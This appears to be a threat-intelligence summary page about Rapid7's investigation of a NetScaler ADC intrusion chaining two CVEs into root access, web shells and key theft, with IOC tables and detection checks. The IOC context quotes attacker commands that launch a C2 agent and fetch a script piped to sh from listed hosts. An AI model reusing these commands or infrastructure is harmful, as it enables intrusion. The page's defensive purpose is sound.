NetScaler intrusions chain CVE-2026-88771 and CVE-2026-88779
Original title: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779
On an affected 14.1 appliance, attackers gained root, planted PHP web shells, and took configuration and key material.
Rapid7 investigated a Citrix NetScaler ADC compromise in early October 2026 on an affected 14.1 build exposed to authentication and SAML exploitation. Attackers chained CVE-2026-88771, a pre-authentication log-poisoning issue, with CVE-2026-88779, a SAML-parsing crash, so a post-reboot crash handler ran attacker text as root. They installed cookie-authenticated PHP web shells, set /bin/sh to mode 6555, kept access across reboots and HA failover, scanned internal services, and staged NetScaler configuration and keys for exfiltration. Rapid7 says the case overlaps public WHIPSHOT/SLAPSHOT reporting and adds lifecycle detail.
Unconfirmed: Rapid7 says the activity overlaps the WHIPSHOT/SLAPSHOT campaign but does not attribute it to a named group.
- First root execution followed injected text in an authentication username, nsaaad crashes, and a Pitboss reboot.
- The crash handler re-ran stages over several days from multiple infrastructure addresses.
- Web shells lived under LogonPoint and answered commands through a cookie, returning output in HTTP 404 bodies.
- Recovered droppers include 17447d.sh, 1.sh, and 2.sh / r.sh, with SHA-256 hashes published by Rapid7.
- A Go tool mapped DNS, LDAP/Active Directory, management services, and VMware vCenter.
Impact: Root execution and theft of NetScaler configuration and keys
| Product | Affected |
|---|---|
| Citrix NetScaler ADC | affected 14.1 build |
- 1.Review exposed NetScaler authentication and SAML appliances on affected 14.1 builds.
- 2.Look for /nsconfig/.slap, LogonPoint PHP shells, and /bin/sh set to mode 6555.
- ATT&CK
- T1190 Exploit Public-Facing ApplicationT1505.003 Web ShellT1548.001 Setuid and SetgidT1053.003 CronT1090 Proxy
- Vendors
- Citrix
- Products
- NetScaler ADC
- Organizations
- Rapid7
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2026-88771 | Unauthenticated RCE in Citrix NetScaler ADC and Gateway | 9.5 | 82% | KEVPoC ×5 | KEV |
| CVE-2026-88779 | Unauthenticated denial of service in NetScaler ADC and Gateway | 8.7 | 11% | KEV | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | c.v5v.in | h The agent was started with: nsvmd -server v5v.in:443 -sni c.v5v.in The installer created a 45s watchdog (/flash/.nsvm/watchdog |
| domain | v5v.in | r.sh?k=<token>|sh The agent was started with: nsvmd -server v5v.in:443 -sni c.v5v.in The installer created a 45s watchdog (/fl |
| ipv4 | 130.94.20.222 | 31.56.197.72 Payload delivery 64.94.85.67 Payload delivery 130.94.20.222 Payload delivery 173.231.39.244 Payload delivery Table 4: N |
| ipv4 | 132.243.166.140 | 2.133.62.80 Payload delivery 46.151.182.18 Payload delivery 132.243.166.140 Payload delivery 199.233.217.13 Payload delivery 31.56.197. |
| ipv4 | 173.231.39.244 | 64.94.85.67 Payload delivery 130.94.20.222 Payload delivery 173.231.39.244 Payload delivery Table 4: Network indicators of compromise |
| ipv4 | 179.60.146.241 | used to deliver /v, 1.sh/17447d.sh, and collect staged data 179.60.146.241 IP serving 1.sh 45.92.1.17 stage/loot infrastructure on por |
| ipv4 | 192.159.99.139 | v.in C2 domain used by nsvmd 209.74.64.192 C2 used by nsvmd 192.159.99.139 .slap C2, relay, reverse-agent and loot-upload infrastructu |
| ipv4 | 199.233.217.13 | 51.182.18 Payload delivery 132.243.166.140 Payload delivery 199.233.217.13 Payload delivery 31.56.197.72 Payload delivery 64.94.85.67 |
| ipv4 | 209.74.64.192 | file hashes Indicator Notes v5v.in C2 domain used by nsvmd 209.74.64.192 C2 used by nsvmd 192.159.99.139 .slap C2, relay, reverse-ag |
| ipv4 | 213.209.159.55 | lap C2, relay, reverse-agent and loot-upload infrastructure 213.209.159.55 Stage server used to deliver /v, 1.sh/17447d.sh, and collec |
| ipv4 | 31.56.197.72 | 43.166.140 Payload delivery 199.233.217.13 Payload delivery 31.56.197.72 Payload delivery 64.94.85.67 Payload delivery 130.94.20.222 |
| ipv4 | 45.92.1.17 | .sh, and collect staged data 179.60.146.241 IP serving 1.sh 45.92.1.17 stage/loot infrastructure on port 30444 62.133.62.80 Payloa |
| ipv4 | 46.151.182.18 | infrastructure on port 30444 62.133.62.80 Payload delivery 46.151.182.18 Payload delivery 132.243.166.140 Payload delivery 199.233.2 |
| ipv4 | 62.133.62.80 | ing 1.sh 45.92.1.17 stage/loot infrastructure on port 30444 62.133.62.80 Payload delivery 46.151.182.18 Payload delivery 132.243.166 |
| ipv4 | 64.94.85.67 | 9.233.217.13 Payload delivery 31.56.197.72 Payload delivery 64.94.85.67 Payload delivery 130.94.20.222 Payload delivery 173.231.39. |
| sha256 | 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186 | r branch was separately identified as: 2.sh / r.sh SHA-256: 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186 Persistence and web shells The main framework used a direct |
| sha256 | 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44 | 6d4430812d05bee216ab22c3804a9f7a80535556 and: 1.sh SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44 The later version added reverse-agent functionality, relay |
| sha256 | 8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d | ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186 2.sh / r.sh 8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d scanner-freebsd-amd64 eaf0086237879bbaac00a5874c0e2ff84deed |
| sha256 | a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556 | rsions were recovered: 17447d.sh (earlier version) SHA-256: a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556 and: 1.sh SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840e |
| sha256 | eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde | 41878b70b910aabd90b453b1460df19b51a4d scanner-freebsd-amd64 eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde vc ffe052fc50271e7739d458b155df790438776032bfd125b974735e1d |
| sha256 | ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138 | 37879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde vc ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138 nsvmd Table 3: SHA-256 file hashes Indicator Notes v5v.in C |
From the original article
8 min read at rapid7.comOverview In early October 2026, Rapid7 analysts investigated a compromise of a Citrix NetScaler ADC appliance. The appliance was running an affected 14. 1 build and was exposed to active exploitation targeting NetScaler authentication and SAML deployments.
By Rapid7 · rapid7.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.